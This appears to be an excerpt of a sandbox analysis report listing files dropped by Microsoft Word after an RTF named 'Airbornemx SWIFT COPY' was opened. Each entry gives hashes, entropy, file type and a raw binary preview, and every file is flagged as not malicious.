MD5:	B58CBED2976B619A04A46FC4AB257B80
SHA1:	DD515B3192A139E24D165A923014C66E78AC7D19
SHA-256:	79EA4F7F99EF5009D798686FD8A63868541CACEB855DAFBFCFFFCBC83E51042D
SHA-512:	E0C50F156EBE9ADFAA223E9B80ACE620201DC664CB224238EB61082D0F73086022E7FE9E22A83D7D7A2FCF78923915C9E3E236C5CF318FB40F50634FE7D906AB
Malicious:	false
Preview:	L..................F.... ..."1.4.Y...J..r....J>.r...C...........................2.C....X(. .AIRBOR~1.RTF.........GX.v.X(...............................A.i.r.b.o.r.n.e.m.x. .S.W.I.F.T. .C.O.P.Y. ._. .W.e.d.n.e.s.d.a.y. .M.a.y. .2.0.2.4.....r.t.f.......v...............-.......u............F.......C:\Users\user\Desktop\Airbornemx SWIFT COPY _ Wednesday May 2024..rtf..F.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.A.i.r.b.o.r.n.e.m.x. .S.W.I.F.T. .C.O.P.Y. ._. .W.e.d.n.e.s.d.a.y. .M.a.y. .2.0.2.4.....r.t.f.`.......X.......179605...........hT..CrF.f4... ....F...../....%..hT..CrF.f4... ....F...../....%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	147
Entropy (8bit):	4.8706491435432415
Encrypted:	false
SSDEEP:	3:HIwovFXq0ys2qii9tR0tRLLUlm4A0ys2qii9tR0tRLLUlv:HUYLsNV0tRMSLsNV0tRM1
MD5:	C63E6D5B01E6D764D358F735EDBDE154
SHA1:	6CF32A915FF3D813F2ADF3AA02B37A15E334B55E
SHA-256:	14E65BF76E439C5FD24F5F2C1B966C55A418FFF14BE9DB3340F6897FAD4E4B0D
SHA-512:	7FA135AE293F5EA8A24916B5697C78F04364245798DAA4F36B727C0817A944D44F11B29F95FBC58E3CD4D3C572691746CB884D9EF3D559141383C0EB0AD7A1EC
Malicious:	false
Preview:	[misc??????????????????????????]..Airbornemx SWIFT COPY _ Wednesday May 2024..LNK=0..[folders]..Airbornemx SWIFT COPY _ Wednesday May 2024..LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

